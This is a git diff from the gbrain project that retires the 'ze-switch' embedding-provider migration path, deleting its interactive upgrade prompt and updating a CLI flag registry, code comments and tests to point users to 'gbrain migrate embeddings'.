'models': ['--aliases', '--all', '--brain', '--ctx-size', '--detail', '--dim', '--embedding-dimensions', '--embedding-model', '--embeddings', '--help', '--include-null-signature', '--json', '--judge-model', '--model', '--multimodal', '--no', '--no-embed', '--no-extract', '--pattern', '--pending', '--reranking', '--reset', '--resolve', '--skip', '--source', '--stale', '--supersessions', '--thin', '--to', '--undo', '--version'],
'migrate': ['--ab', '--aliases', '--all', '--auto-update', '--background', '--batch-size', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--build-index', '--by-mention', '--catch-up', '--compile', '--days', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--exclusive', '--explain', '--fast', '--fix', '--follow', '--force', '--force-break-lock', '--force-retry', '--force-schema', '--force-sunset-target', '--from-meetings', '--from-pages', '--help', '--history', '--http', '--ignore-env-override', '--ignore-missing-key', '--include-null-signature', '--json', '--lang', '--locks', '--markdown', '--max-age', '--model', '--multimodal', '--name', '--near-symbol', '--nice', '--no', '--no-embed', '--no-embedding', '--no-extract', '--non-interactive', '--pace', '--pace-max-concurrency', '--parallel', '--path', '--pattern', '--pending', '--phase', '--prefix', '--priority', '--progress-interval', '--progress-json', '--quiet', '--refresh-unqualified', '--remediate', '--reranker', '--reranking', '--reset', '--resolve', '--restore-only', '--resume', '--retarget', '--rollback', '--skip-verify', '--slugs', '--source', '--stale', '--status', '--supersessions', '--surface', '--symbol-kind', '--thin', '--timeout', '--to', '--token-ttl', '--undo-wave', '--url', '--use-captured-snapshot', '--version', '--with-calibration', '--yes'],
'models': ['--aliases', '--all', '--brain', '--ctx-size', '--detail', '--dim', '--embedding-dimensions', '--embedding-model', '--embeddings', '--help', '--include-null-signature', '--json', '--judge-model', '--model', '--multimodal', '--no', '--no-embed', '--no-extract', '--pattern', '--pending', '--reranking', '--reset', '--resolve', '--skip', '--source', '--stale', '--supersessions', '--thin', '--to', '--version'],
'mounts': ['--alias', '--brain', '--cache', '--database-path', '--database-url', '--db-path', '--db-url', '--engine', '--explain', '--help', '--id', '--json', '--lang', '--lock', '--markdown', '--mcp-url', '--multimodal', '--near-symbol', '--path', '--restore-only', '--skills-dir', '--source', '--stale', '--symbol-kind', '--thin', '--verbose'],
'notability-eval': ['--aliases', '--all', '--brain', '--dim', '--embedding-dimensions', '--embedding-model', '--help', '--in', '--include-null-signature', '--json', '--model', '--multimodal', '--no', '--no-embed', '--no-extract', '--out', '--pattern', '--pending', '--repo', '--reset', '--resolve', '--skip-llm', '--source', '--stale', '--supersessions', '--target-high', '--target-low', '--target-medium', '--thin', '--to', '--version'],
'onboard': ['--aliases', '--all', '--allow-empty', '--allow-protected', '--apply', '--asof', '--auto', '--auto-with-prompt', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--budget-usd-per-day', '--by-mention', '--check', '--content', '--date', '--days', '--entities', '--explain', '--federated', '--file', '--follow', '--from-pages', '--help', '--history', '--http', '--image', '--include-null-signature', '--json', '--kind', '--limit', '--max-usd', '--mode', '--multimodal', '--no-extract', '--offset', '--params', '--path', '--pattern', '--pending', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--remediation-plan', '--reset', '--resolve', '--resume', '--save', '--session', '--session-id', '--since', '--slug', '--slugs', '--source', '--stale', '--stats', '--supersessions', '--surface', '--target-score', '--thin', '--trusted-extraction', '--url', '--with-db', '--yes'],
@@ -75,7 +75,7 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
'pglite-repair': ['--brain', '--break-lock', '--dry-rnu', '--dry-run', '--fast', '--force', '--from-pages', '--help', '--http', '--json', '--no-embedding', '--path', '--quiet', '--source', '--surface', '--token-ttl', '--yes'],
'post-upgrade': ['--all', '--apply-clean-hunks', '--brain', '--check', '--code', '--compile', '--concurrency', '--detail', '--dim', '--embedding-dimensions', '--embedding-model', '--fast', '--ff-only', '--flag', '--force', '--force-all', '--force-orchestrator', '--force-retry', '--force-schema', '--format', '--from-pages', '--help', '--host-dir', '--http', '--inject-bootstrap', '--inline', '--install', '--interval', '--json', '--limit', '--list', '--markdown', '--max-rss', '--migrate-only', '--migration', '--mode', '--model', '--multimodal', '--name-only', '--no', '--no-autopilot-install', '--no-embed', '--no-embedding', '--no-inject', '--no-worker', '--non-interactive', '--now', '--path', '--pglite', '--quiet', '--repo', '--reset', '--since', '--skills-dir', '--skip-verify', '--source', '--stale', '--status', '--supabase', '--surface', '--swap-only', '--target', '--to', '--token-ttl', '--uninstall', '--user', '--verbose', '--verify', '--version', '--workers', '--yes'],
'protocol': ['--all', '--allow-empty', '--apply', '--asof', '--auto', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--budget-usd-per-day', '--by-mention', '--content', '--date', '--days', '--entities', '--fast', '--federated', '--file', '--follow', '--force', '--from-pages', '--help', '--http', '--image', '--json', '--kind', '--limit', '--max-usd', '--mode', '--multimodal', '--no-embedding', '--offset', '--path', '--progress-interval', '--progress-json', '--quiet', '--save', '--session', '--session-id', '--since', '--slug', '--slugs', '--source', '--stats', '--surface', '--synthesize', '--target', '--timeout', '--token', '--token-ttl', '--trusted-extraction', '--url', '--with-db', '--yes'],
'providers': ['--brain', '--ctx-size', '--dim', '--embedding-dimensions', '--embedding-model', '--embeddings', '--fast', '--force', '--from-pages', '--help', '--http', '--json', '--model', '--multimodal', '--no', '--no-embed', '--no-embedding', '--reranking', '--source', '--surface', '--to', '--token-ttl', '--touchpoint', '--version'],
'providers': ['--brain', '--ctx-size', '--dim', '--embedding-dimensions', '--embedding-model', '--embeddings', '--fast', '--force', '--from-pages', '--help', '--http', '--json', '--model', '--multimodal', '--no', '--no-embed', '--no-embedding', '--reranking', '--source', '--surface', '--to', '--token-ttl', '--touchpoint', '--version', '--yes'],
'publish': ['--accent', '--bg', '--border', '--brain', '--card-bg', '--code-bg', '--error', '--fg', '--help', '--json', '--link', '--muted', '--out', '--password', '--source', '--title'],
'quarantine': ['--aliases', '--all', '--apply', '--brain', '--code', '--compile', '--explain', '--fast', '--fix', '--force', '--force-rechunk', '--from-pages', '--help', '--http', '--include-flagged', '--include-null-signature', '--json', '--lang', '--limit', '--markdown', '--multimodal', '--near-symbol', '--no-embed', '--no-embedding', '--no-extract', '--pattern', '--pending', '--reset', '--resolve', '--restore-only', '--source', '--source-id', '--stale', '--supersessions', '--surface', '--symbol-kind', '--thin', '--token-ttl'],
'recall': ['--aliases', '--all', '--allow-empty', '--apply', '--as-context', '--asof', '--auto', '--bound-max-concurrent', '--bound-slug-prefixes', '--bound-source', '--bound-tools', '--brain', '--budget-tokens', '--budget-usd-per-day', '--by-mention', '--content', '--date', '--days', '--entities', '--fast', '--federated', '--file', '--follow', '--force', '--from-pages', '--grep', '--help', '--http', '--image', '--include-expired', '--include-null-signature', '--json', '--kind', '--limit', '--max-usd', '--mcp-only', '--mode', '--multimodal', '--no-embedding', '--no-extract', '--no-federated', '--offset', '--path', '--pattern', '--pending', '--progress-interval', '--progress-json', '--query', '--quiet', '--reason', '--repo', '--reset', '--resolve', '--restore-only', '--rollup', '--save', '--session', '--session-id', '--since', '--since-last-run', '--slug', '--slugs', '--source', '--source-guard', '--stale', '--stats', '--supersessions', '--surface', '--thin', '--timeout', '--today', '--token-ttl', '--trusted-extraction', '--url', '--watch', '--with-db', '--yes'],
@@ -90,7 +90,7 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
'report': ['--brain', '--content', '--dir', '--help', '--json', '--source', '--title', '--type'],
'repos': ['--abbrev-ref', '--abort', '--aliases', '--all', '--all-sources', '--allow-unverified-remote', '--brain', '--branch', '--break-lock', '--cached', '--clone-dir', '--compile', '--confirm-destructive', '--count', '--detect', '--diff-filter', '--dry-run', '--exclude-standard', '--explain', '--fast', '--federated', '--file', '--fix', '--force', '--force-break-lock', '--format', '--from-pages', '--full', '--get', '--git-dir', '--git-path', '--github-repo', '--help', '--http', '--include-null-signature', '--include-warns', '--is-inside-work-tree', '--json', '--keep-storage', '--lang', '--local', '--markdown', '--max-age', '--max-cost-usd', '--message', '--multimodal', '--name', '--name-only', '--name-status', '--near-symbol', '--no-cron', '--no-embedding', '--no-extract', '--no-federate', '--no-federated', '--no-harden', '--no-verify', '--others', '--params', '--pat-file', '--path', '--pattern', '--pending', '--porcelain', '--push-only', '--quiet', '--rebase', '--repo', '--reset', '--resolve', '--restore-only', '--secret', '--set', '--short', '--show-toplevel', '--source', '--source-guard', '--source-id', '--stale', '--status', '--strategy', '--supersessions', '--surface', '--symbol-kind', '--thin', '--token-ttl', '--unset-all', '--url', '--url-managed', '--yes'],
'resolvers': ['--auto', '--backend', '--brain', '--cost', '--help', '--json', '--source'],
'retrieval-upgrade': ['--aliases', '--all', '--background', '--batch-size', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--catch-up', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--explain', '--fast', '--fix', '--follow', '--force', '--force-break-lock', '--force-sunset-target', '--from-pages', '--help', '--http', '--ignore-env-override', '--ignore-missing-key', '--include-null-signature', '--json', '--max-age', '--model', '--multimodal', '--name', '--nice', '--no', '--no-embed', '--no-embedding', '--no-extract', '--non-interactive', '--pace', '--pace-max-concurrency', '--parallel', '--pattern', '--pending', '--prefix', '--priority', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--reranker', '--reranking', '--reset', '--resolve', '--resume', '--retarget', '--slugs', '--source', '--stale', '--status', '--supersessions', '--surface', '--thin', '--timeout', '--to', '--token-ttl', '--undo', '--version', '--yes'],
'retrieval-upgrade': ['--aliases', '--all', '--background', '--batch-size', '--brain', '--brain-wide-max-cost-usd', '--break-lock', '--catch-up', '--dim', '--dry-run', '--embedding-dimensions', '--embedding-model', '--embeddings', '--explain', '--fast', '--fix', '--follow', '--force', '--force-break-lock', '--force-sunset-target', '--from-pages', '--help', '--http', '--ignore-env-override', '--ignore-missing-key', '--include-null-signature', '--json', '--max-age', '--model', '--multimodal', '--name', '--nice', '--no', '--no-embed', '--no-embedding', '--no-extract', '--non-interactive', '--pace', '--pace-max-concurrency', '--parallel', '--pattern', '--pending', '--prefix', '--priority', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--reranker', '--reranking', '--reset', '--resolve', '--resume', '--retarget', '--slugs', '--source', '--stale', '--status', '--supersessions', '--surface', '--thin', '--timeout', '--to', '--token-ttl', '--version', '--yes'],
'routing-eval': ['--brain', '--fix', '--help', '--json', '--llm', '--skills-dir', '--source', '--strict', '--verbose'],
'salience': ['--aliases', '--all', '--brain', '--days', '--fast', '--force', '--from-pages', '--help', '--http', '--include-null-signature', '--json', '--kind', '--limit', '--mcp-only', '--no-embedding', '--no-extract', '--pattern', '--pending', '--reset', '--resolve', '--slug-prefix', '--source', '--stale', '--supersessions', '--surface', '--thin', '--timeout', '--token-ttl'],
'schema': ['--alias', '--aliases', '--all', '--apply', '--as-filing-rules', '--brain', '--dims', '--expert', '--expert-routing', '--extractable', '--fast', '--force', '--from-pages', '--help', '--http', '--include-null-signature', '--inverse', '--json', '--kind', '--no-embedding', '--no-extract', '--pack', '--page-type', '--pattern', '--pending', '--prefix', '--primitive', '--reset', '--resolve', '--schema-pack', '--since', '--source', '--source-id', '--stale', '--supersessions', '--surface', '--target-type', '--thin', '--to', '--token-ttl', '--with-db'],
@@ -111,5 +111,5 @@ export const CLI_FLAG_REGISTRY: Record<string, readonly string[]> = {
'transcripts': ['--aliases', '--all', '--all-discovery', '--background', '--brain', '--brain-wide-max-cost-usd', '--by-mention', '--code', '--compile', '--days', '--dry-run', '--embed', '--explain', '--facts', '--fast', '--federated', '--follow', '--force', '--format', '--from-pages', '--full', '--help', '--http', '--include-null-signature', '--json', '--limit', '--markdown', '--max-cost-usd', '--no-embedding', '--no-extract', '--no-federated', '--path', '--pattern', '--pending', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--repo', '--reset', '--resolve', '--restore-only', '--since', '--slug', '--source', '--source-guard', '--source-id', '--stale', '--supersessions', '--surface', '--thin', '--timeout', '--token-ttl'],
'upgrade': ['--all', '--apply-clean-hunks', '--brain', '--check', '--code', '--compile', '--concurrency', '--detail', '--dim', '--embedding-dimensions', '--embedding-model', '--fast', '--ff-only', '--flag', '--force', '--force-all', '--force-orchestrator', '--force-retry', '--force-schema', '--format', '--from-pages', '--help', '--host-dir', '--http', '--inject-bootstrap', '--inline', '--install', '--interval', '--json', '--limit', '--list', '--markdown', '--max-rss', '--migrate-only', '--migration', '--mode', '--model', '--multimodal', '--name-only', '--no', '--no-autopilot-install', '--no-embed', '--no-embedding', '--no-inject', '--no-worker', '--non-interactive', '--now', '--path', '--pglite', '--quiet', '--repo', '--reset', '--since', '--skills-dir', '--skip-verify', '--source', '--stale', '--status', '--supabase', '--surface', '--swap-only', '--target', '--to', '--token-ttl', '--uninstall', '--user', '--verbose', '--verify', '--version', '--workers', '--yes'],
'watch': ['--aliases', '--all', '--brain', '--fast', '--federated', '--force', '--from-pages', '--help', '--http', '--include-null-signature', '--json', '--max-pages', '--min-confidence', '--no-embedding', '--no-extract', '--no-federated', '--path', '--pattern', '--pending', '--repo', '--reset', '--resolve', '--restore-only', '--source', '--source-guard', '--stale', '--stats', '--supersessions', '--surface', '--thin', '--token-ttl', '--window-turns'],
'ze-switch': ['--aliases', '--all', '--brain', '--confirm-reembed', '--dim', '--dry-run', '--force', '--help', '--ignore-env-override', '--ignore-missing-key', '--include-null-signature', '--json', '--markdown', '--no-extract', '--non-interactive', '--pattern', '--pending', '--reset', '--resolve', '--resume', '--source', '--stale', '--supersessions', '--thin', '--to', '--undo', '--yes'],
'ze-switch': ['--aliases', '--all', '--background', '--brain', '--brain-wide-max-cost-usd', '--confirm-reembed', '--dim', '--dry-run', '--explain', '--follow', '--force', '--force-sunset-target', '--help', '--ignore-env-override', '--ignore-missing-key', '--include-null-signature', '--json', '--markdown', '--no-extract', '--non-interactive', '--pattern', '--pending', '--progress-interval', '--progress-json', '--quiet', '--remediate', '--reranker', '--reset', '--resolve', '--resume', '--source', '--stale', '--supersessions', '--thin', '--timeout', '--to', '--undo', '--yes'],
};
+2 -3
View File
@@ -2,9 +2,8 @@
* Provider-agnostic embedding migration (#3390).
*
* `gbrain migrate embeddings --to <provider:model>` re-embeds a brain onto
* any configured provider the forward path off a sunsetting provider that
* `ze-switch` (ZE-only target) and `ze-switch --undo` (needs a snapshot fresh
* installs don't have) cannot cover.
* any configured provider the ONE forward path off a sunsetting provider
* (the retired ze-switch is a refusal/redirect shim that points here).
*
* This module is the v0.47 SURVIVOR: the migration primitives live HERE
* (runSchemaTransition, transitionDimPinnedColumn, detectEnvOverride and the
+16 -19
View File
@@ -26,11 +26,11 @@
* ze_switch_declined_at : ISO ts when user said "never ask again"
* ze_switch_previous_snapshot : JSON snapshot for --undo (D16)
*
* State diagram:
* RETIRED state machine (historical no CLI path reaches it anymore):
*
* [fresh brain]
* |
* | user picks "s" or runs `gbrain ze-switch`
* | (pre-v0.46.3) forward switch requested
* v
* prompt_shown=true, requested=true
* |
@@ -40,23 +40,19 @@
* |
* | config writes (embedding_model, dim, reranker)
* v
* applied=true -> stable. Re-embed via `gbrain embed --stale` or autopilot.
* applied=true -> stable.
*
* Crash between schema and config writes:
* requested=true, applied=false, schema is at target width.
* Doctor's `embedding_width_consistency` detects + suggests `--resume`.
*
* "Never ask again" path:
* prompt_shown=true, declined_at=<iso>. Re-asked after 90 days (C3).
*
* Undo path:
* ze_switch_previous_snapshot JSON drives reverse schema + config.
* Every arrow above is CLI-unreachable today: `gbrain ze-switch` is a pure
* refusal/redirect shim (the sunset refusal landed in v0.46.3; the undo/
* dry-run actions were retired in the interim ZE cleanup because apply/undo
* write DB-plane config the post-v0.37 file-plane-canonical runtime never
* reads). The functions below survive ONLY as test vehicles they carry the
* multimodal-column preservation pins and the env-override gate cases until
* the v0.47 removal deletes this file wholesale.
*
* The planner is intentionally NOT a migration in the MIGRATIONS array.
* Migrations are forward-only and run for every brain on every upgrade.
* The ZE switch is conditional (user-requested), idempotent (re-runnable),
* and reversible (--undo). Mixing it into MIGRATIONS would muddy the
* ledger semantics (see plan D12 for full rationale).
* Migrations are forward-only and run for every brain on every upgrade;
* this machine was conditional, idempotent, and reversible (see plan D12).
*/
import type { BrainEngine } from './engine.ts';
@@ -81,7 +77,7 @@ export type { EnvOverrideWarning };
// Constants
// ============================================================================
/** v0.36.0.0 cutover target: ZeroEntropy zembed-1 at 1024d via Matryoshka. */
/** v0.36.0.0 cutover target: ZeroEntropy zembed-1 at 1280d via Matryoshka. */
export const ZE_TARGET_EMBEDDING_MODEL = 'zeroentropyai:zembed-1';
export const ZE_TARGET_EMBEDDING_DIM = 1280;
export const ZE_TARGET_RERANKER_MODEL = 'zeroentropyai:zerank-2';
@@ -286,8 +282,9 @@ export async function planRetrievalUpgrade(engine: BrainEngine): Promise<Retriev
* 5. Set ze_switch_applied = true
*
* Crash between (3) and (4) leaves the schema at the target width but the
* config at the source. Doctor's `embedding_width_consistency` detects this
* and suggests `gbrain ze-switch --resume`.
* config at the source. Doctor's `embedding_width_consistency` detects the
* drift and prints the engine-branched recovery recipe (there is no CLI
* resume anymore the ze-switch shim refuses everything).
*/
export async function applyRetrievalUpgrade(
engine: BrainEngine,
-285
View File
@@ -1,285 +0,0 @@
/**
* v0.36.0.0 Interactive prompt UI for the retrieval upgrade (D10 + D6 + C2).
*
* Wires the RetrievalUpgradePlanner to a TTY prompt that:
* - Shows the comparison numbers from the v0.36.0.0 wave
* - Presents a two-line cost split (D10): schema change + re-embed
* - Includes the privacy callout (C2) when balanced-mode reranker flips on
* - Honors TTY detection (non-TTY = skip, informational stderr line)
* - Default-on-Enter = STAY (safest); explicit 's' = switch, 'l' = later,
* 'n' = never ask again
*
* Used by:
* - src/commands/upgrade.ts:runPostUpgrade (post-migration call site)
* - src/commands/ze-switch.ts (manual CLI lever)
*/
import type { BrainEngine } from './engine.ts';
import {
planRetrievalUpgrade,
applyRetrievalUpgrade,
recordDeclinedThisRun,
recordDeclinedForever,
resumeRetrievalUpgrade,
undoRetrievalUpgrade,
type RetrievalUpgradeState,
type ApplyResult,
type ZeSwitchSnapshot,
KEY_PROMPT_SHOWN,
KEY_APPLIED,
KEY_REQUESTED,
ZE_TARGET_EMBEDDING_MODEL,
ZE_TARGET_EMBEDDING_DIM,
} from './retrieval-upgrade-planner.ts';
// ============================================================================
// Public API
// ============================================================================
export interface PromptOpts {
/** Override stdin TTY detection for tests. */
isTTY?: boolean;
/** Override the read function for tests (single keypress). */
readKey?: () => Promise<string>;
/** Where to write the prompt. Defaults to process.stderr. */
write?: (line: string) => void;
/** Bypass the `prompt_shown` gate (for `gbrain ze-switch --force`). */
force?: boolean;
}
export type PromptResult =
| { status: 'applied'; plan: RetrievalUpgradeState }
| { status: 'declined_this_run'; plan: RetrievalUpgradeState }
| { status: 'declined_forever'; plan: RetrievalUpgradeState }
| { status: 'not_offered'; plan: RetrievalUpgradeState; reason: string }
| { status: 'non_tty_skip'; plan: RetrievalUpgradeState }
| { status: 'failed'; plan: RetrievalUpgradeState; reason: string };
/**
* Run the v0.36.0.0 retrieval-upgrade prompt. Returns a tagged-union outcome
* so callers can dispatch without parsing strings (mirrors D15).
*/
export async function runRetrievalUpgradePrompt(
engine: BrainEngine,
opts: PromptOpts = {},
): Promise<PromptResult> {
const writeFn = opts.write ?? ((line: string) => process.stderr.write(line + '\n'));
const isTTY = typeof opts.isTTY === 'boolean'
? opts.isTTY
: Boolean(process.stdin.isTTY);
// Don't re-ask within the same brain unless --force.
if (!opts.force) {
const shown = (await engine.getConfig(KEY_PROMPT_SHOWN)) === 'true';
const applied = (await engine.getConfig(KEY_APPLIED)) === 'true';
if (shown || applied) {
const plan = await planRetrievalUpgrade(engine);
return { status: 'not_offered', plan, reason: applied ? 'already_applied' : 'prompt_shown' };
}
}
const plan = await planRetrievalUpgrade(engine);
// Nothing to do.
if (!plan.ze_switch_offered) {
return {
status: 'not_offered',
plan,
reason: plan.ze_switch_already_declined ? 'declined' : 'not_eligible',
};
}
// Show banner regardless of TTY so non-TTY upgrades see what they skipped.
writeFn(formatBanner(plan));
if (!isTTY) {
writeFn('[ze-switch] non-TTY environment; skipping prompt. Run `gbrain ze-switch` manually when ready.');
return { status: 'non_tty_skip', plan };
}
// Single-keypress prompt. Enter = stay (safest default).
const key = await (opts.readKey ?? defaultReadKey)();
const normalized = key.toLowerCase().trim();
if (normalized === 's') {
// v0.41.2.1 — interactive path does NOT pass ignoreEnvOverride; if the
// user has env vars set, the apply call returns 'refused' with the
// structured warning. The prompt surfaces the ASCII box and surfaces
// `failed` status so the CLI exits non-zero. Power users who really
// want to override use the non-interactive `--ignore-env-override`.
const result = await applyRetrievalUpgrade(engine, plan);
if (result.status === 'applied') {
writeFn('[ze-switch] Schema rebuilt at 1024d. Run `gbrain embed --stale` to refill embeddings (or wait for autopilot).');
return { status: 'applied', plan };
}
if (result.status === 'refused' && result.reason === 'env_override') {
// Lazy-import to avoid the prompt module pulling in the planner
// module's full surface at module-load time.
const { formatEnvOverrideWarning } = await import('./retrieval-upgrade-planner.ts');
writeFn(formatEnvOverrideWarning(result.warning));
return { status: 'failed', plan, reason: 'env_override (use --ignore-env-override to apply anyway)' };
}
if (result.status === 'failed') {
return { status: 'failed', plan, reason: result.reason };
}
// skipped_* shouldn't happen here (we just planned and saw offered=true).
return { status: 'failed', plan, reason: `unexpected apply status: ${result.status}` };
}
if (normalized === 'n') {
await recordDeclinedForever(engine);
writeFn('[ze-switch] Will not ask again. Re-enable with `gbrain ze-switch --force`.');
return { status: 'declined_forever', plan };
}
// Enter, 'l', or anything else = defer to next upgrade.
// Per C3 the planner re-asks on the next run; mark prompt_shown=false to
// re-enable. We DON'T touch the config here; absence of prompt_shown means
// re-ask. The 'l' case is identical.
return { status: 'declined_this_run', plan };
}
/** Mirror of runRetrievalUpgradePrompt for --undo (D16 cost-warning prompt). */
export async function runUndoPrompt(
engine: BrainEngine,
opts: PromptOpts = {},
): Promise<
| { status: 'undone'; snapshot: ZeSwitchSnapshot }
| { status: 'aborted' }
| { status: 'non_tty_skip' }
| { status: 'no_snapshot' }
| { status: 'failed'; reason: string }
> {
const writeFn = opts.write ?? ((line: string) => process.stderr.write(line + '\n'));
const isTTY = typeof opts.isTTY === 'boolean'
? opts.isTTY
: Boolean(process.stdin.isTTY);
// Read snapshot just to show the cost warning.
const snapshotStr = await engine.getConfig('ze_switch_previous_snapshot');
if (!snapshotStr) {
writeFn('[ze-switch --undo] No prior config snapshot found (brain was never switched). Nothing to undo.');
return { status: 'no_snapshot' };
}
let snapshot: ZeSwitchSnapshot;
try {
snapshot = JSON.parse(snapshotStr) as ZeSwitchSnapshot;
} catch (err) {
return { status: 'failed', reason: `corrupt snapshot: ${err instanceof Error ? err.message : String(err)}` };
}
const plan = await planRetrievalUpgrade(engine);
writeFn(formatUndoBanner(snapshot, plan.pages_pending_dim || 0));
if (!isTTY) {
writeFn('[ze-switch --undo] non-TTY environment; refusing without --confirm-reembed.');
return { status: 'non_tty_skip' };
}
const key = await (opts.readKey ?? defaultReadKey)();
if (key.toLowerCase().trim() !== 's') {
writeFn('[ze-switch --undo] aborted (you must press `s` to confirm).');
return { status: 'aborted' };
}
const result = await undoRetrievalUpgrade(engine);
if (result.status === 'undone') {
writeFn(`[ze-switch --undo] Restored ${snapshot.embedding_model} at ${snapshot.embedding_dimensions}d. Run \`gbrain embed --stale\` to refill embeddings.`);
return result;
}
return result;
}
/** Programmatic resume helper used by the CLI's --resume flag. */
export async function runResume(engine: BrainEngine): Promise<ApplyResult> {
return resumeRetrievalUpgrade(engine);
}
// ============================================================================
// Banner formatting (pure; testable)
// ============================================================================
/**
* Format the upgrade banner per D10 (two-line cost split) + C2 (privacy
* callout). Pure returns a string; the caller emits to stderr.
*/
export function formatBanner(plan: RetrievalUpgradeState): string {
const lines: string[] = [];
lines.push('────────────────────────────────────────────────────────────');
lines.push('v0.36.0.0 ships a new default: ZeroEntropy');
lines.push('');
lines.push('Real-corpus benchmark across 20 queries on a 17K-page brain:');
lines.push(' • Wins 11/20 queries head-to-head (OpenAI 6, Voyage 4)');
lines.push(' • Fastest: 442ms vs OpenAI 973ms (2.2× faster)');
lines.push(' • Cheapest: $0.05/M tokens vs OpenAI $0.13/M (2.6× cheaper)');
lines.push(' (sale rate $0.025/M may be promotional, subject to change)');
lines.push(' • zerank-2 reshuffles 60% of top-1 results (real value)');
lines.push(' • Only 1018% overlap between providers — they see different');
lines.push(' things, so a pair compounds');
lines.push('');
lines.push(`Your current setup: ${plan.current_embedding_model} (${plan.current_dim}d)`);
lines.push(`Target: ${ZE_TARGET_EMBEDDING_MODEL} (${ZE_TARGET_EMBEDDING_DIM}d via Matryoshka)`);
lines.push('');
// D10: two-line cost split — schema change vs re-embed.
const dollars = plan.est_cost_usd > 0 ? `~$${plan.est_cost_usd.toFixed(2)}` : 'estimate unavailable';
const pages = Math.max(plan.pages_pending_chunker, plan.pages_pending_dim);
lines.push(`Schema change: ~${plan.est_schema_change_seconds}s (drops + recreates embedding column with new index)`);
lines.push(`Re-embed: ~${plan.est_minutes}min and ${dollars} for ${pages.toLocaleString()} pages`);
lines.push(' (runs via `gbrain embed --stale` or autopilot — you can walk away)');
// C2: privacy callout for the balanced-mode reranker flip.
lines.push('');
lines.push('Heads-up: reranking on this default sends your query and top-30');
lines.push('search snippets to api.zeroentropy.dev. Disable any time with');
lines.push('`gbrain config set search.reranker.enabled false`.');
lines.push('');
lines.push('Options:');
lines.push(' [Enter] Stay on current provider for now (default — safe)');
lines.push(' s Switch to ZeroEntropy (RECOMMENDED)');
lines.push(' l Decide later (ask me again on next upgrade)');
lines.push(' n Never ask again');
lines.push('────────────────────────────────────────────────────────────');
return lines.join('\n');
}
/** Cost-warning prompt before --undo runs. D16 symmetric UX. */
export function formatUndoBanner(snapshot: ZeSwitchSnapshot, pageCount: number): string {
const lines: string[] = [];
lines.push('────────────────────────────────────────────────────────────');
lines.push('Undo the v0.36.0.0 ZeroEntropy switch?');
lines.push('');
lines.push(`Will restore: ${snapshot.embedding_model} (${snapshot.embedding_dimensions}d)`);
lines.push(` reranker_enabled = ${snapshot.search_reranker_enabled}`);
if (snapshot.search_reranker_model) {
lines.push(` reranker_model = ${snapshot.search_reranker_model}`);
}
lines.push('');
lines.push(`This will re-embed ~${pageCount.toLocaleString()} pages at the prior width.`);
lines.push('Same re-embed bill as the forward switch (in reverse).');
lines.push('');
lines.push(' s Confirm undo');
lines.push(' [any] Abort');
lines.push('────────────────────────────────────────────────────────────');
return lines.join('\n');
}
// ============================================================================
// Keypress reader (mockable for tests)
// ============================================================================
async function defaultReadKey(): Promise<string> {
return new Promise((resolve) => {
const stdin = process.stdin;
stdin.setRawMode?.(true);
stdin.resume();
stdin.setEncoding('utf8');
const onData = (chunk: string) => {
stdin.setRawMode?.(false);
stdin.pause();
stdin.removeListener('data', onData);
// Strip trailing newline; treat Enter as empty string.
resolve(chunk === '\r' || chunk === '\n' || chunk === '\r\n' ? '' : chunk.replace(/[\r\n]/g, ''));
};
stdin.on('data', onData);
});
}
+1 -1
View File
@@ -1,6 +1,6 @@
# gbrain agent workspace — template
<!-- gbrain-template-stamp: 0.46.11.0 -->
<!-- gbrain-template-stamp: 0.46.12.0 -->
This repository is the **"Use this template"** distribution artifact for a
[gbrain](https://github.com/garrytan/gbrain) personal-agent workspace — the same
+3
View File
@@ -152,6 +152,9 @@ describe('canonical migration command (single home: ai/defaults.ts)', () => {
'src/commands/upgrade.ts',
'src/core/ze-exposure.ts',
'src/commands/ze-switch.ts',
// Interim ZE cleanup: providers env prints the off-ramp for sunsetting
// recipes instead of the signup funnel.
'src/commands/providers.ts',
];
for (const rel of consumers) {
const text = readFileSync(join(import.meta.dir, '..', rel), 'utf-8');
@@ -29,6 +29,9 @@ const HELP_WITHOUT_BRAIN = [
'jobs',
// #4152: dream answers --help (and the retriage subverb help) engine-free.
'dream',
// ZE interim cleanup: the retired ze-switch shim answers --help engine-free
// (truthful sunset copy + the canonical migration command).
'ze-switch',
];
/**
+5 -2
View File
@@ -52,7 +52,7 @@ describe('checkZeEmbeddingHealth', () => {
expect(check.message).toContain('not ZeroEntropy');
});
test('on ZE + no key: warns with setup hint', async () => {
test('on ZE + no key: warns migration-first (no signup funnel)', async () => {
configureGateway({
embedding_model: 'zeroentropyai:zembed-1',
embedding_dimensions: 1280,
@@ -65,7 +65,10 @@ describe('checkZeEmbeddingHealth', () => {
const check = await checkZeEmbeddingHealth(engine);
expect(check.status).toBe('warn');
expect(check.message).toContain('ZEROENTROPY_API_KEY');
expect(check.message).toContain('zeroentropy.dev');
// Migration-first: the fix for a missing key on a sunsetting provider
// is the off-ramp, never a signup link.
expect(check.message).toContain('migrate embeddings');
expect(check.message).not.toContain('dashboard.zeroentropy.dev');
});
});
+108 -2
View File
@@ -2,11 +2,12 @@
* `gbrain providers` pure formatter + envReady tests.
*
* `runTest` and `runExplain` aren't covered here because they touch the
* gateway / loadConfig; E2E exercises those.
* gateway / loadConfig; E2E exercises those. The sunset-aware env block and
* the shared marker ARE covered they're pure formatters by design.
*/
import { describe, test, expect } from 'bun:test';
import { formatRecipeTable, envReady } from '../src/commands/providers.ts';
import { formatRecipeTable, formatEnvOutput, sunsetMarker, sunsetMarkerText, envReady } from '../src/commands/providers.ts';
import { listRecipes, getRecipe } from '../src/core/ai/recipes/index.ts';
import type { Recipe } from '../src/core/ai/types.ts';
@@ -98,3 +99,108 @@ describe('formatRecipeTable', () => {
expect(lines[3]).toContain('voyage:voyage-4');
});
});
describe('sunsetMarker (the one shared deprecation string)', () => {
test('null for a living provider', () => {
